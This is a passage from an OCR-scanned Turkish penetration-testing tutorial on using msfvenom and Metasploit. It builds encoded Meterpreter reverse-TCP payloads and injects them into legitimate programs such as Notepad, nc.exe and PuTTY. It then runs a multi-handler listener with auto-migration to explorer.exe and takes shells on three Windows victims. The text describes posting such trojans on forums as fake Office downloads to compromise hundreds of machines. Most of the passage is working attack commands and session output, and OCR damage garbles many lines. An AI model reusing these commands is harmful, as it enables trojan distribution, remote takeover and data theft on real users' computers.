Attempting to encode payload with 1 iterations of x86/shikata ga nai
x86/shikata _ga nai succeeded with size 149021 (iteration=0)
x86/shikata _ga nai chosen with final size 149021

Payload size: 149021 bytes

Final size of exe file: 224256 bytes

Found 1 compatible encoders

Attempting to encode payload with 1 iterations of x86/shikata ga nai
x86/shikata _ga nai succeeded with size 224285 (iteration=0)
x86/shikata_ga nai chosen with final size 224285

Payload size: 224285 bytes

Final size of exe file: 299520 bytes

Saved as: payload.exe

Yukarida yapilan ayni encoder'la Ust Uste kodlama islemini daha pratik bir sekilde -i (yani

iterative) parametresiyle de yapabiliriz.

Kali Linux Terminal:

msfvenom -p windows/meterpreter/reverse tcp LHOST=192.168.43.18
LPORT=1234 -a x86 --platform windows -e x86/shikata ga nai-i 4

-f exe -0 payload.exe

Ciktr:

Found 1 compatible encoders

Attempting to encode payload with 4 iterations of x86/shikata ga nai
x86/shikata ga nai succeeded with size 360 (iteration=0)
x86/shikata_ga nai succeeded with size 360 (iteration=1)
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x86/shikata ga nai succeeded with size 360 (iteration=2)
x86/shikata_ga_nai succeeded with size 360 (iteration=3)
x86/shikata _ga nai chosen with final size 441

Payload size: 441 bytes

Final size of exe file: 73802 bytes

Saved as: payload.exe

Ardindan msfvenom'da payload olusturup farkl farkli encoder'larla kodlama 6rnegine bakalim.

Kali Linux Terminal:

msfvenom -p windows/meterpreter/reverse tcp LHOST=192.168.43.18
LPORT=1234 -a x86 --platform windows -e x86/shikata ga nai -f exe |

1 msfvenom -a x86 --platform windows -e x86/countdown -f exe | msfvenom
-a %86 --platform windows -e x86/shikata ga nai -f exe | msfvenom
-a x86 —--platform windows -e cmd/echo -f exe -o payload.exe

Ciktr:

Attempting to read payload from STDIN...
Attempting to read payload from STDIN...
Attempting to read payload from STDIN...

Found 1 compatible encoders

Attempting to encode payload with 1 iterations of x86/shikata ga nai
x86/shikata_ga_nai succeeded with size 360 (iteration=0)
x86/shikata ga nai chosen with final size 360

Payload size: 360 bytes

Final size of exe file: 73802 bytes

Found 1 compatible encoders

Attempting to encode payload with 1 iterations of x86/countdown
x86/countdown succeeded with size 73820 (iteration=0)
x86/countdown chosen with final size 73820

Payload size: 73820 bytes

Final size of exe file: 148992 bytes

Found 1 compatible encoders

Attempting to encode payload with 1 iterations of x86/shikata ga nai
x86/shikata _ga nai succeeded with size 149021 (iteration=0)
x86/shikata _ga nai chosen with final size 149021

Payload size: 149021 bytes

Final size of exe file: 224256 bytes

Found 1 compatible encoders

Attempting to encode payload with 1 iterations of cmd/echo
cmd/echo succeeded with size 224256 (iteration=0)

cmd/echo chosen with final size 224256

Payload size: 224256 bytes

Final size of exe file: 299520 bytes

Saved as: payload.exe

Son olarak olusturacagimiz payload i¢cin msfvenom'da hem birden fazla encoder ile kodlama
hem de bu encoderlarin her birini defalarca tekrarlama ©6rnegini gdsterelim.
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Kali Linux Terminal:

msfvenom -p windows/meterpreter/reverse tcp LHOST=192.168.43.18
LPORT=1234 -a x86 --platform windows -e x86/shikata ga nai-i 4

-a x86 --platform windows -e x86/countdown -1 2

-a x86 --platform windows -e x86/shikata ga nai-i 5
-a x86 --platform windows -e cmd/echo -1 3

1 -f exe | msfvenom
-f exe | msfvenom
-f exe | msfvenom

-f exe -0 payload.exe

Ciktr:

Attempting to read payload from STDIN...
Attempting to read payload from STDIN...
Attempting to read payload from STDIN...

Found 1 compatible

Attempting to encode payload with 4 iterations of x86/shikata ga nai

x86/shikata ga nai
x86/shikata _ga nai
x86/shikata ga nai
x86/shikata _ga nai
x86/shikata ga nai

Found 1 compatible

Attempting to encode payload with 2 iterations of x86/countdown
x86/countdown succeeded with size 73820
x86/countdown succeeded with size 73838

encoders

succeeded with size
succeeded with size
succeeded with size
succeeded with size

360 (iteration=0)
387 (iteration=1)
414 (iteration=2)
441 (iteration=3)

chosen with final size 441
Payload size: 441 bytes
Final size of exe file: 73802 bytes

encoders

(iteration=0)
(iteration=1)

x86/countdown chosen with final size 73838
Payload size: 73838 bytes
Final size of exe file: 148992 bytes

Found 1 compatible

Attempting to encode payload with 5 iterations of x86/shikata ga nai

x86/shikata _ga nai
x86/shikata _ga nai
x86/shikata _ga nai
x86/shikata _ga nai
x86/shikata _ga nai
x86/shikata _ga nai

Found 1 compatible

Attempting to encode payload

encoders

succeeded with size
succeeded with size
succeeded with size
succeeded with size
succeeded with size

149021 (iteration=0)
149050 (iteration=1)
149079 (iteration=2)
149108 (iteration=3)

)

149137 (iteration=4

- chosen with final size 149137
Payload size: 149137 bytes
Final size of exe file: 224256 bytes

encoders

with 3 iterations of cmd/echo

cmd/echo succeeded with size 224256 (iteration=0)
cmd/echo succeeded with size 224256 (iteration=1)
cmd/echo succeeded with size 224256 (iteration=2)
cmd/echo chosen with final size 224256
Payload size: 224256 bytes

Final size of exe file: 299520 bytes

Saved as: payload.exe

Bdylece msfvenom ile payload encode'lama iglemini gérmus olduk.
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Ekstra [Msfvenom ile Reel Bir Saldir1 Uygulamasi]

Bu baglik altinda msfpayload ve msfencode'un gorevlerini yerine getirebilen msfvenom
araclyla meterpreter payload'u olusturup bu payload'u piyasada bilinen / taninan / legal /
zararsiz bir yazilim sablonu icerisine gdmecek sekilde encode'layacagiz. Bu sayede
payload'umuz piyasadaki o yazilimin gérinisine sahip olacaktir. Ornegin saldirgan
profilindeki bir kimse msfvenom ile hazirladidi bir payload'u bir forum sitesinde Microsoft Office
Full Tirkge indir diye paylasabilir. Bu dosyayi indirecek binlerce insan olacagindan birgok
kullanicinin  makinasinda bu payload c¢alisacaktir. Saldirgan ise makinesinden uzak
sistemlerde calisacak payload'lardan gelen baglantilari dinler modda olacaktir. Saldirganin
dosyasini forum sitesinden indirip her calistiran kisi saldirganin sistemine baglanti
yollayacaktir. Saldirgan ise her gelen baglantiy1 kabul edecektir ve ylzlerce bilgisayarin igine
girmis olacaktir.

ik olarak olusturacagimiz payload'u Windows'un notepad uygulamasi sablonunda olusturalim
ve bu payload'u (viruslu notepad'i) cesitli sistemlere indirip galistirarak sistemlerin her birine
sizmay! deneyelim. Ardindan ayni senaryoyu gorseli olmayan bir exe dosyasi icin igletelim.
Son olarak ise ayni senaryoyu piyasada ¢odunlukla sistem ydneticilerinin kullandigi legal bir
yazihim olan Putty'nin sablonuyla tekrarlayalim ve noktalayalim.

Gereksinimler

(+) Bu yazi belirtilen materyaller ile birebir denenmistir ve basarili olunmustur.

Kali Linux 2018.1 [indir] // Saldirgan Sistem
Windows XP SP2 TR LANG x86 [indir] // Hedef Sistem 1
Windows 10 Enterprise x64 [indir] // Hedef Sistem 2
Windows Server 2012 R2 x64 [indir] // Hedef Sistem 3

i) Sosyal Miihendislik Ile Sizma Uygulamasi # Ornek 1

Simdi msfvenom ile meterpreter payload dosyasi olusturalim. Bu payload dosyasini
shikata_ga_nai encoding teknigiyle kodlayallm ve ardindan notepad.exe uygulamasi
sablonunda bir ¢ikti alalim.

Kali Linux Terminal:

msfvenom -p windows/meterpreter/reverse tcp LHOST=X.X.X.X LPORT=443

1 -—a x86 --platform windows -x /root/Desktop/notepad.exe -k -e x86/
shikata ga nai-i 5 -b "\x00" -f exe -o /root/Desktop/notepad viruslu.exe
// X.X.X.X yerine Kali Linux IP si konur.

Cikti:

Found 1 compatible encoders

Attempting to encode payload with 5 iterations of x86/shikata ga nai
x86/shikata_ga nai succeeded with size 360 (iteration=0)
x86/shikata ga nai succeeded with size 387 (iteration=1)
x86/shikata_ga nai succeeded with size 414 (iteration=2)
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x86/shikata ga nai succeeded with size 441 (iteration=3)
x86/shikata_ga_nai succeeded with size 468 (iteration=4)
x86/shikata _ga nai chosen with final size 468

Payload size: 468 bytes

Final size of exe file: 111104 bytes

Saved as: /root/Desktop/notepad viruslu.exe

Burada -p parametresi payload'u alir, ardindan payload parametreleri oldugu gibi pesisira
eklenebilir. Daha sonra -a parametresi ile (yani (a)rchitecture parametresi ile) payload'umuzun
32 bitlik sisteme goére mi 64 bitlik sisteme gore mi ¢iktilanmasi gerektigi belirtilir. --platform
parametresi ile payload'umuzun hangi isletim sistemi tipi Gzerinde galisacagdi bilgisi belirtilir. -x
parametresi ile payload icin kullanilacak legal yazilim sablonu belirtilir (Not: Buradaki
notepad.exe uygulamasi Windows XP'den kopyala yapistir suretiyle alinmistir). -k parametresi
(keep parametresi) kullanilacak yazilim sablonunun bozulmadan korunmasini ve
payload'umuzun ekstra bir thread olarak sablona enjekte edilmesini saglar. -e parametresi
(yani (e)ncoder parametresi) ile payload'umuzun hangi encoding teknigiyle kodlanacagi
belirtilir. -i parametresi ile (yani (i)terative parametresi ile) kullanilacak encoding tekniginin
payload'umuzu Ustlste kag kere kodlayacadi belirtilir. -b parametresi ile encoding sonucu
tireyen lUzumsuz karakterleri otomatize bir sekilde silme islemi gergeklesir. Burada payload'un
encode'lamasi sirasinda tureyen iglevsiz \x00 karakterleri silinmektedir. Boylelikle
payload'umuzun boyutu minimize edilebilir. -f parametresi ile (yani (f)ormat parametresi ile)
payload'umuzun ciktisinin hangi formatta olacagi belirtilir. -0 parametresi ile (yani (o)utput
parametresi ile) payload'umuzun ¢iktisi sonucu olusacak dosyanin ismi belirtilir.

Yukaridaki kodlama ile olugan virGslu notepad uygulamamizin ismini ilgi ¢ekici bir isim ile
degistirebiliriz. Orn; sifre gibi. Saldirgan bdylesi bir dosyay! olusturduktan sonra dosyayi
internete koymadan evvel makinesini dinleme moduna gegirir ve hazir hale gelir.

Kali Linux Terminal:

! msfconsole

2 msf> use exploit/multi/handler

3 msf> set payload windows/meterpreter/reverse tcp

4  msf> set lhost X.X.X.X // Kali Linux IP si

5 msf> set lport 443

6 msf> set AutoRunScript post/windows/manage/migrate
7 msf> set NAME explorer.exe
3 msf> set ExitOnSession false
msf> exploit -j
9
Ciktr:

[*] Exploit running as background job O.
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[*] Started reverse TCP handler on X.X.X.X:443

msf exploit (multi/handler) >

Saldirganin makinesinde calistirilan yukaridaki msfconsole kodlamadari ile multi/handler
modulu segilir ve saldirganin makinesi disaridan gelecek baglantilari dinleme moduna gegirilir.
Dinlenecek IP olarak (LHOST olarak) yerel sistemin IP'si verilir. Clnkl uzaktan gelecek
baglantilar yerel sistemimize gelecektir. Port olarak payload olustururken LPORT'a ne
girilmisse o girilir. AutoRunScript parametresi ise kullanimi zaruri olmamakla beraber disaridan
gelen baglanti sonucu disaridaki sistemde oturum elde edildigi an ekstradan c¢alistirilacak
moddul ismini alir. Bu ekstradan calistirilacak modil kismina bir post-exploitation moduli olan
migrate konulmasi tercih edilmistir. Clnkl uzak sistemlerden birinde payload (virtsli notepad)
calistirildiginda notepad penceresi ekrana gelecektir ve kullanici o notepad penceresini
kapadigi an bizim oturum sonlanacaktir. Dolayisiyla uzak sistem elimizden kayip gidecektir.
Normalde uzak sistemde oturum elde ettigimiz an - bu makale zincirinin ikinci konusunda
bahsedildigi Gzere - migrate komutu ile daha uzun émdrla bir process'e gecis yapabiliriz. Fakat
gercek bir saldiri senaryosunda kurban size bu firsati vermeyebilir. Cevik davranarak notepad
ya da benzeri virGslU uygulamayi kapatabilir ve elde ettiginiz oturum sonlanabilir. Bu nedenle
oturum elde edildigi an migrate islemini msfconsole otomatikmen yapsin diye AutoRunScript
parametresine migrate moduilli konulmustur. Bu modilin NAME parametresine explorer.exe
process'inin ismi verilerek migrate modulimuze Windows sistemlerde gayet uzun émurlu bir
process'e aninda beni gecir direktifi vermis oluruz. ExitOnSession parametresini false
yapmamiz ise bu senaryo igin zaruridir. CUnkd bir sistemde oturum elde ettigimizde
ExitOnSession (yani oturum elde edildigi durumda c¢ikis yap) parametresi varsayilan olarak
true oldugundan ilk oturum elde edilir edilmez dinleme modundan cikilmis olacaktir, diger
gelecek baglantilar alinamaz duruma gelecektir ve uzak sistemlerdeki oturumlarimizi
kaybetmis olacagiz. Bu nedenle ExitOnSession (Oturum Elde Edildigi Durumda Cikis Yap)
parametresini false yapmaliyiz ki birinci oturumu aldigimizda dinleme moduna devam
edebilelim ve pesisira gelen her baglantiyr kabul edip oturumlari stoklayabilelim. Son olarak
exploit -j komutuyla belirlenen ayarlar dogrultusunda dinleme moduna gegilir. Buradaki -j
parametresi job 'un kisaltiimisidir ve dinleme modu process'inin arkaplanda galismasini saglar.
Bdylelikle msfconsole komut satiriniz elde edilen oturum(lar) tarafindan isgal edilmez.

Not:

Payload’'umuza sablon program olarak belirledigimiz notepad.exe bir exception (bir
istisna / problem) Uretecektir. Multi/handler ile dinleme modundayken zararl
notepad.exe uygulamasi galistirildiginda session alinacaktir, fakat migrate modulu bir
tur loop’a girip surekli session migrate etme islemi yapmaya bagslayacaktir. Bu ise bir
dinya bozuk session elde edilmesine neden olacaktir (Neredeyse ylzlerce...) Bunun
muhtemel nedeni post-exploitation modult olan migrate modullindn kaynak kodlarinda
yer alan temp process to mitigate (yani migrate islemi icin gecici process) taniminda
notepad.exe’nin belirtiimis olmasindandir. Biz payload’'umuzu notepad.exe seklinde
hazirladigimiz i¢in migrate modull gegici process olarak kendinde tanimli notepad.exe
dolayisiyla migrate isleminde bir tir sonsuz déngtye girmekte. Bu sorunu asmak igin
migrate modulinidn kaynak kodundaki temporary process (gegici process) kodlama
satirinda yer alan - mitigation islemi i¢in kullanilacak - gegici process ismine default
olan “notepad.exe” yerine “cmd.exe” koyulabilir.

lusr/share/metasploit-framework/modules/post/windows/manage/migrate.rb
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1
2
3 N .
4 # Creates a temp notepad.exe to migrate.
5 def create temp proc()

cmd ="cmd.exe" # Onceden “notepad.exe” ydi. Sonsuz
6 e .

# dongliyll engellemek ic¢in cmd.exe yapildi.

7 proc = session.sys.process.execute(cmd, nil, 'Hidden'=> true })
8 returnproc.pid
9 end

Bu sekilde notepad.exe sablonu ile olusmus payload’'umuz sorunsuz bir sekilde
calisacaktir.

Dinleme moduna gecen saldirgan artik olusturdugu virisli notepad'i bir platforma yukleyip
insanlarin onu indirmesini umabilir. Biz o isi kisa kesip olusturugumuz notepad.exe dosyasini
gdrive, dropbox,.. gibi bir platforma yikledigimizi ve Windows XP, Windows 10, Windows
Server 2012 R2 sistemlerine de indirdigimizi varsayalim. Bu hedef sistemler érnekleme
seklinde secilmistir. Windows XP, eski teknoloji bir sistemde bu isi basarabilecegimizi;
Windows 10, son teknoloji bir sistemde bu isi basarabilecegimizi ve Windows Server 2012 ise
web gelistiricileri ya da web sunucusunu yoneten sistemcilerin web sunucusuna bdylesi bir
dosya indirme gafletine dustliklerinde yine saldirida basarili olabilecegimizi gdéstermek adina
secilmiglerdir.

Viriislii Dosyanin indigi Sistemler:

Windows XP
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File Machine View Input Devices Help

TEp e

Google Chrome:

B

wnloadfile....

t Ba§fat ) Drive'im - Google Driv...

DA EELEE LPWEEEE UGS FEIVE 30 P EEOEEEE WEES LR 44

TR | #re % 12:21

@ © %P @ @ O @@ Right Ctrl

Windows 10
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pentest DersVideo  BurpSuite
Gekim Hk.txt Kurulum ...

= ™

FreeEmailE...

e

Email
Extractor

@

average
responses.bt

Internet
Explorer

) ’

a ' e

Firefox e Microsoft
Ba eS.

N | =

Google Word
Chrome igindekiler

10:05
~ABl@mBe TR e B

Windows Server 2012
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File Machine View Input Devices Help

Recycle Bin

-

notepad

a@ Windows Server 2012R2

Windows Server 2012 R2 Standard
Build 9600
H = m 08:55
H_{ P e = B o ims
C) e o 0 M 5 [0 @ @ Right Chrl

Simdi tim bu virlsli dosyayi indiren sistemlerdeki kullanicilarin dosyalari ¢alistirdiklarini
varsayalim.

Windows XP
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Google Chrome A

. F Baglat ) Drive'im - Google Driv... P adsiz - Mot Defteri TR ) .25

@ © %P & (3 S @ Right Ctrl

w o vuse s

Windows 10
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I‘ File Machine View Input Devices Help

Recycle Bin

e ) Adsiz - Not Defteri
= Dosya Dizen Bigim Gordndm  Yardim

notepad [

Windows Server 2012 R2 Standard

Build 9600
1 — = i
: }_H @ .JZTAJ @ lm @ Uib 9.111222:18
| @ 5 M & O @ Right ctrl

Windows Server 2012
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a Diazen Bigim Géranim Yardim

notepad.exe

Firefox rufus-3.0.exe

o8

Google
Chrome

Tam bu virtsli notepad uygulamalari resimlerde gdésterildigi gibi calistirildiklarinda saldirganin
sistemine teker teker baglanti gondereceklerdir. Baglantilari saldirganin sistemi aldiginda
oturumlar elde edilmis olacaktir. Dinleme modunda yaptigimiz konfigurasyon ayari geregi elde
edilen her bir oturumun akabinde meterpreter oturumumuz uzak sistemlerdeki notepad.exe
process'inden explorer.exe process'ine migrate edilecektir. Bu nedenle notepad process'i
otomatikmen birka¢ saniye icerisinde migrate modulu tarafindan kapanacaktir. Ancak
oturumumuz artik daha saglam bir process'e (explorer.exe'ye) ge¢cmis olacaktir. Kurbanlarin
indirdikleri notepad'ler acildiklarinda saldirganin sisteminde su ciktilar ekrana gelecektir:

Cikti:

msf exploit (multi/handler) > ((( Beklerken oturumlar gelir )))

[*] Sending stage (179779 bytes) to Y.Y.Y.Y

[*] Meterpreter session 1 opened (X.X.X.X:443 -> Y.Y.Y.Y:49159)

[*] Session ID 1 (X.X.X.X:443 -> Y.Y.Y.Y:49159) processing
AutoRunScript 'post/windows/manage/migrate’

] Running module against WIN-VJ7UU9G4VTO

] Current server process: notepad.exe (828)

] Spawning notepad.exe process to migrate to

] Migrating to 496

] Successfully migrated to process 496

[*] Sending stage (179779 bytes) to 7Z2.Z2.Z.%Z

*] Meterpreter session 2 opened (X.X.X.X:443 -> Z.2.7Z2.72:1040)

[*] Session ID 2 (X.X.X.X:443 -> Z.72.72.72:1040) processing
AutoRunScript 'post/windows/manage/migrate’

[*] Running module against PENTEST-WINXP

[*] Current server process: notepad.exe (2348)
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[*] Spawning notepad.exe process to migrate to
[+] Migrating to 2436
[+] Successfully migrated to process 2436

[*] Sending stage (179779 bytes) to T.T.T.T

[*] Meterpreter session 3 opened (X.X.X.X:443 -> T.T.T.T:1881)

[*] Session ID 3 (X.X.X.X:443 -> T.T.T.T:1881) processing
AutoRunScript 'post/windows/manage/migrate’
] Running module against SGELPENTESTO1
] Current server process: notepad.exe (2936)
[*] Spawning notepad.exe process to migrate to
1
]

[+] Migrating to 6376

[+] Successfully migrated to process 6376

((( Bir kez ENTER )))

msf exploit(multi/handler) > ((( konsol arayizimiiz yine geldi )))

Simdi elde ettigimiz oturumlari listeleyelim.

Kali Linux Terminal:

1 msf exploit (multi/handler) > sessions -1

Cikti:

Active sessions

Id Type Information

1 meterpreter x86/windows WIN-VJ7UU9G4VTO\Administrator
@ WIN-VJ7UU9G4VTO

2 meterpreter x86/windows PENTEST-WINXP\pentest
@ PENTEST-WINXP

3 meterpreter x86/windows HFSPENTEST\pentest
@ HFSPENTESTO1

Simdi oturumlardan birine id'si ile gegis yapalim.

Kali Linux Terminal:

1 msf exploit (multi/handler) > sessions -i 3

Ciktr:

[*] Starting interaction with 3...

meterpreter > ((( Icerdeyiz )))

Connection

Simdi hedef sistemin komut satirini alalim ve isletim sistemi + versiyonunu 6grenelim.

Kali Linux Terminal:
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1 meterpreter > shell

Ciktr:

Process 2224 created.
Channel 1 created.
Microsoft Windows
(c)

C:\Users\pentest\Desktop > ((((

Kali Linux Terminal:

1 C:\Users\pentest\Desktop > systeminfo |
// Linux sistemlerde ise su sekilde:

Ciktr:

oS
0s
oS

Name:

Version:

Manufacturer:

OS Configuration:

0S Build Type:

BIOS Version:
C:\Users\pentest\Desktop >

Komut Satirini Aldik

[Version 10.0.17134.345]
2018 Microsoft Corporation. All rights reserved.

)))

findstr /C:"OS"
uname -a

Microsoft Windows 10 Enterprise
X.Y.Z N/A Build ABCDEFG
Microsoft Corporation
Standalone Workstation
Multiprocessor Free

Hewlett-Packard XYZ Ver.

A.FD, 0X.0Y.200A

Son olarak sizmig oldugumuz Windows 10 sistemindeki masaustu dokimanlarini listeleyelim.

Kali Linux Terminal:

1 C:\Users\pentest\Desktop > dir

Cikti:

Volume in drive C has no label.

Volume Serial Number is ABC-EYXF

Directory of C:\Users\pentest\Desktop

09.11.2018 13:29 <DIR>
09.11.2018 13:29 <DIR>
09.11.2018 10:08 723.
09.11.2018 13:29 512.
19.04.2017 14:23

04.08.2017 11:47 1.
08.11.2018 15:32

08.11.2018 15:30 2.
05.04.2018 14:25 <DIR>
02.10.2018 16:18

30.07.2018 09:53 1
29.03.2018 14:51 2
14.09.2017 12:40 3
24.04.2018 14:40 1.
08.11.2018 16:50 111.
21.09.2018 14:28 854.
04.06.2018 14:12 1.017.

633
081

0
272
839
243

124

.962
.113
.129

602
104
072
400

2018-11-09 10 05 52-.png
2018-11-09 13 27 40-.png
KOPYALAMA! . txt

Any Video Converter.lnk
average responses.rar
average responses.txt
BurpSuite Kurulum Dosyalar€
Ders Video €ekim Hk..txt
DirBuster.lnk

Email Extractor.lnk
FreeEmailExtractor.lnk
Internet Explorer.lnk
notepad.exe

putty.exe

rufus-3.0.exe
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02.07.2018 14:32

17 File (s)

5 Dir(s)

462 Word @€indekiler Tablosu Olu€pturma.txt
3.233.526 bytes

74.880.786.432 bytes free

Meterpreter ile yapabileceklerinizden daha oOnce bahsedildigi igin sizma islemini burada

noktaliyorum.

ii) Sosyal Miihendislik ile S1izma Uygulamasi # Ornek 2

Simdi ayni senaryoyu goérsel arayizi olmayan bir exe programi

Kali Linux Terminal:

msfvenom -p windows/meterpreter/reverse tcp LHOST=X.X.X.X LPORT=443
1 -a x86 --platform windows -x /usr/share/windows-binaries/nc.exe

-k -e x86/shikata ga nai-i 5 -b "\x00" -f exe -o Desktop/deneme.exe
// X.X.X.X yerine yerel sistemin

Ciktr:

Found 1 compatible

encoders

Attempting to encode payload

x86/shikata ga nai
x86/shikata _ga nai
x86/shikata ga nai
x86/shikata _ga nai
x86/shikata ga nai
x86/shikata _ga nai

Final size of exe file:

succeeded
succeeded
succeeded
succeeded
succeeded

with
with
with
with
with
with

(Kali Linux'un)

IP'si girilir.

5 iterations of x86/shikata ga nai

size
size
size
size
size

360 (iteration=0)
387 (iteration=1
414 (iteration=2
441 (iteration=3

)
)
)
468 (iteration=4)

chosen with final size 468
Payload size: 468 bytes

Saved as: Desktop/deneme.exe

61952 bytes

ile tekrarlayalim.

Metasploit icerisinde barinan windows binary'lerinden nc.exe'yi olusturacagimiz payload'a
sablon olarak segtik. Payload'umuz olustugunda deneme.exe isimli olacaktir. Yukaridaki
kodlamada -p payload'u, -a payload'un 32 bitlik mi 64 bitlik mi olacagi bilgisini, --platform
payload'un galigacagi isletim sistemi turd bilgisini, -x kullanilacak legal bir yazilimin sablonunu,
-k sablon korunsun ve payload'umuz icine enjekte edilsin diretifini, -e kullanilacak encoding
teknigini, -i iterasyon sayisini, -b kodlama sirasinda tireyen hangi gereksiz karakterlerin
silinecegi bilgisini, -f payload'un ¢iktisinin hangi formatta olacag: bilgisini, -0 ise payload'un
cikti dosyasinin ismini alir.

Simdi énceki senaryodan arta kalan oturumlari sonlandiralim, dinleme modundan ¢ikalim ve
saldirganin makinasini tekrar dinleme moduna gegirelim.

Kali Linux Terminal:

1 msf exploit (multi/handler)

2 msf exploit (multi/handler)

4 msf> use exploit/multi/handler

5 msf> set payload windows/meterpreter/reverse tcp

> sessions -k 1,2,3

> jobs -k O

// pidNo, pidNo, ...

// jobs -k jobID
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6 msf>
7 msf>
8 msf>
9 msf>
msf>
10
msf>
11
Ciktr:

[*] Exploit running as background job 1.
[*] Started reverse TCP handler on X.X.X.X:443

set lhost X.X.X.X
set lport 443

set AutoRunScript

set NAME explorer.

set ExitOnSession

exploit —-j

msf exploit (multi/handler) >

// Kali Linux IP si

post/windows/manage/migrate

exe

false

Olusturulan dosyayi internete koydugumuzu ve kurbanlarin da indirdigini varsayalim.

Windows XP

File Machine View Input Devices Help
TAT N = “u '

MozillSEIretoss

Google Chrome. &

g1 Baslat

TR | #r 3% 14:55

)0 EP o & 0 @ Right ctrl
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Windows 10

This PC VMware
Workstati...

- W
=

Recycle Bin  putty.exe average
responses.rar

notepad.exe

Internet WinSCP deneme.exe
Explorer

n(;) 9.\' =

Firefox rufus-3.0.exe  aaaa.png

9 8

Google
Chrome

Windows Server 2012
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File Machine View Input Devices Help
E__ -4
Recycle Bin

%

notepad

deneme

2@ Windows Server 2012 R2

Windows Server 2012 R2 Standard
Build 9600
- L I 14:54
H_‘ g = [BRTIR NG R
=) 0n @8 @ 0 @ R @ @ @ Rright ctrl

Sonra kurbanlarin dosyalar ¢aligtirdiklarini varsayalim.

Windows XP
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Geri Dondsim 2 — "
Kutusu Reflected Cr...

Mot Késem  downloadfile....

—_— - g
74 Baglat cv C:\Documents and Se... TR l e %) 14140

2 &P L] i @ @ ® Rright ctrl

Windows 10
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‘ Cmd line:
‘h"»"]

This PC

Windows Server 2012
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File Machine Vview Input Devices Help
‘:_-e
-

Recycle Bin

CA\Users\Administrator\Desktop\deneme.exe

notepad

deneme

2@ Windows Server 2012R2

Windows Server 2012 R2 Standard
Build 9600

¥ = 5 60 B o gins

B © b &8 @ 0 Wi [ @ 3 right ctrl

Bu siralarda saldirganin sisteminde oturumlarin elde edildigine dair c¢iktilar belirecektir.

Cikti:

Sending stage (179779 bytes) to Y.Y.Y.Y

Meterpreter session 4 opened (X.X.X.X:443 -> Y.Y.Y.Y:49223)
Session ID 4 (X.X.X.X:443 -> Y.Y.Y.Y:49223) processing
AutoRunScript 'post/windows/manage/migrate’

Running module against WIN-VJ7UU9G4VTO

Current server process: deneme.exe (728)

Spawning notepad.exe process to migrate to

Migrating to 804

Successfully migrated to process 804

Sending stage (179779 bytes) to Z.Z2.Z2.7

Meterpreter session 5 opened (X.X.X.X:443 -> Z.Z.Z.Z:1044)
Session ID 5 (X.X.X.X:443 -> 172.16.3.77:1044) processing
AutoRunScript 'post/windows/manage/migrate’

Running module against PENTEST-WINXP

Current server process: deneme.exe (2972)

Spawning notepad.exe process to migrate to

Migrating to 3068

Successfully migrated to process 3068

Sending stage (179779 bytes) to T.T.T.T
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*] Meterpreter session 6 opened
[*] Session ID 6 (X.X.X.X:443 -> 172.16.3.111:17506)
AutoRunScript 'post/windows/manage/migrate’

] Running module against SGELPENTESTO1

] Current server process: deneme.exe (3660)
[*] Spawning notepad.exe process to migrate to
] Migrating to 10884
] Successfully migrated to process 10884

((( Bir kere ENTER ))))

msf exploit (multi/handler) >

Elde edilen oturumlar nelermis bakilir.

Kali Linux Terminal:

1 msf exploit (multi/handler) > sessions

Cikti:

Active sessions

(X.X.X.X:443 -=> T.T.T.T:1756)
processing

((( Ciktilarin konsolu isgali son bulur ))))

Id

Type

meterpreter x86/windows

Information

WIN-VJ7UU\Administrator

Connection

443 ->

@ WIN-VJ7UU9IG4AVTO
PENTEST-WINXP\pentest
@ PENTEST-WINXP
HFSPENTEST\pentest

@ HFSPENTESTO1

5 meterpreter x86/windows

6 meterpreter x86/windows

Bir oturuma gegilebilir.

Kali Linux Terminal:

1 msf exploit (multi/handler) > sessions -i 5

Ciktr:

[*] Starting interaction with 5...

meterpreter > ((((( Icerdeyiz )))))

X
Y:49159 (A.B.C.D)
.X:443 ->

T:1040 (E.F.G.H)
X:443 ->

K

:1881 (I.J.K.L)

Sizdi§imiz sistemin komut satirini alabiliriz ve igletim sistemi & versiyon bilgisini 6grenebiliriz.

Kali Linux Terminal:

1 meterpreter > shell

Ciktr:
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Process 2236 created.

Channel 1 created.

Microsoft Windows XP [SUrim 5.1.2600]

(C) Telif Hakki 1985-2001 Microsoft Corp.

C:\Documents and Settings\pentest\Desktop > (((( Komut Satiraini Aldik ))))

Kali Linux Terminal:

1 C:\Documents and Settings\pentest\Desktop > systeminfo | findstr /C:"0OS"
Ciktr:

0S Strtumi: 5.1.2600 Service Pack 2 2600

BIOS Surumi: VBOX -1

Son olarak sizdigimiz bu sistemin masaustu 6gelerini gorintuleyelim.

Kali Linux Terminal:

1 C:\Documents and Settings\pentest\Desktop> dir

Cikti:

C s@Pr@c@s@ndeki birimin etiketi yok.
Birim Seri Numaras€p: XYZ-ABC

C:\Documents and Settings\pentest\Desktop dizini
09.11.2018 14:33 <DIR>

09.11.2018 14:33 <DIR> ..
28.01.2018 08:22 1.607 123.hex

24.05.2016 14:53 37.888 backdoor.exe

09.11.2018 14:32 61.952 deneme.exe

25.01.2018 13:17 7 deneme.txt

22.11.2016 20:05 801 downloadfile.vbs

28.01.2018 14:09 308.736 incoming.exe

08.12.2016 01:02 104 Internet Explorer.lnk

19.02.2016 20:40 103.772 kelime k€@k€ bulmaca.rtf

04.11.2016 21:30 6.332 msf.pdf

28.01.2018 11:56 59.392 nc.exe

04.11.2016 21:44 <DIR> Not K@€@em

09.11.2018 12:20 111.104 notepad.exe

24.05.2016 14:48 37.888 vnc.exe

05.07.2018 15:23 5.600 Vulnerability Reflected Cross Site
Damn Vulnerable Web Application.htm

05.07.2018 15:23 <DIR> Vulnerability Reflected Cross Site
Damn Vulnerable Web Application

06.07.2018 12:42 138 Yeni Metin Belgesi.txt

09.11.2016 13:30 6.328 zararliBelge.pdf

15 Dosya 741.649 bayt

4 Dizin 3.161.157.632 bayt bo€

Evet, sisteme sizdigimizi teyit ettikten sonra artik bu makale zincirinin éncesinde bahsedilen
meterpreter yeteneklerini kullanarak dilediginizi yetkileriniz 0dlgisinde yapabilirsiniz.
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iii) Sosyal Miihendislik ile S1zma Uygulamasi # Ornek 3
Simdi ise tekrarladigimiz senaryoyu bu sefer piyasada genellikle sistem yoneticileri icin
gelistiriimis olan Putty.exe yaziiminin sablonuyla yine tekrarlayalim ve bu makaleyi burada
noktalayalim. Bu son 6rnek ile saldiriya hedef olan kullanici makinalarinda kullanicilara nasil
bir intiba uyandirabileceginize dair bir fikir edinmis olacaksiniz.

Payload'umuza sablon olarak kullanacagimiz Putty yazilimi su sekildedir:

=) Terminal
- Keyboard
- Bell
- Features
= Window

- Appearance
- Behaviour
- Translation
- Selection
- Colours
= Connection
- Data
